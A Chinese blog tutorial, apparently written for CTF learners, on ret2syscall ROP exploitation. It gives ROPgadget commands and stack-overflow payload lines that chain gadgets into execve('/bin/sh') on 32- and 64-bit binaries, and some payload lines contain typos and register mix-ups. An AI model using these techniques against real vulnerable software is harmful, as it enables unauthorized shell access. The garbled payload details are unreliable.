RET2syscall

原理

  • 基本rop之一,意为call system,控制程序执行系统调用,获取shell。

X32

我们的目的是要把对应获取 shell 的系统调用的参数放到对应的寄存器中。即:

execve("/bin/sh",NULL,NULL)

向寄存器存放的参数分别为:

  • 系统调用号,即 eax 应该为 0xb “此为execve对应的系统调用号”

  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

  • 第二个参数,即 ecx 应该为 0

  • 第三个参数,即 edx 应该为 0

  • int 0x80(触发中断)

    而想要完成参数存入就需要构造rop链,这是就需要这些寄存器的地址了,所以自然而然我们就想到了一个工具:ROP gadgets

    1. eax:

      ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
    2. others:

      ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

      一般我们可以直接找出ebx,ecx,edx三个寄存器连在一起的地址,这样便于我们直接修改。

      3.bin_sh:

    ROPgadget --binary rop --string '/bin/sh'

    这里我们也可以直接·在ida中shift+12直接找出

    4.int 0x80:

    ROPgadget --binary rop --only 'int'

    之后我们写上payload输出交互就可以了

    payload=b'a'*0ffest+p32(pop_eax_ret)+p32(0x0b)+p32( pop_edx_ecx_ebx_ret)+p32(0x0)+p32(0x0)+p32(bin_sh)+p32(int_0x80)
    #offest为s到ebp的偏移量+4  需要使用gbd调试

    EXP:

可以看到 esp 为 0xffffcd40,ebp 为具体的 payload 如下 0xffffcdc8,同时 s 相对于 esp 的索引为 [esp+0x1c],所以,s 的地址为 0xffffcd5c,所以 s 相对于 ebp 的偏移为 0x6C,所以相对于返回地址的偏移为 0x6c+4。

当然,我们也可以通过bp-64h直接看出偏移量,但是这里32位编译器编译出来的位移量是有误的,所以最好还是用gbd运行一下看看

X64

与32位类似,但是传参的寄存器是rdi->rsi->rdx->rcx->r8->r9,即把需要的系统调用号给rax(64位),把rdx,rsi置零(因为是pop释放参数,所以与传参顺序相反)。且ret返回的函数名不同

  • 32位为int 0x80,64位为syscall ret

64位binary下的shell:

  1. rax:59

  2. rdi:bin_sh_addr

  3. rsi:0

  4. rdx:0

  5. rcx:0

  6. syscall

    和32位一样,我们先用ROP找出其中对应的寄存器的地址

  1. rax:

    ROPgadget --binary demo --only 'pop|ret' | grep 'rax'
  2. rsi:

    ROPgadget --binary demo --only 'pop|ret' | grep 'rsi'
  3. bin_sh:

    ROPgadget --binary demo --string '/bin/sh'
  4. syscall:

    ROPgadget --binary demo | grep 'syscall'
  5. rdi:

    ROPgadget --binary demo --only 'pop|ret' | grep 'rdi'

之后写出payload即可

payload=b'a'*offest+rdi_addr+bin_sh+eax_rdx_ebx_addr+p64(0x3b)+p64(0x0)+p64(0X0)+rsi_addr+p64(0x0)+syscall_addr#这里的eax其实就是rax

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值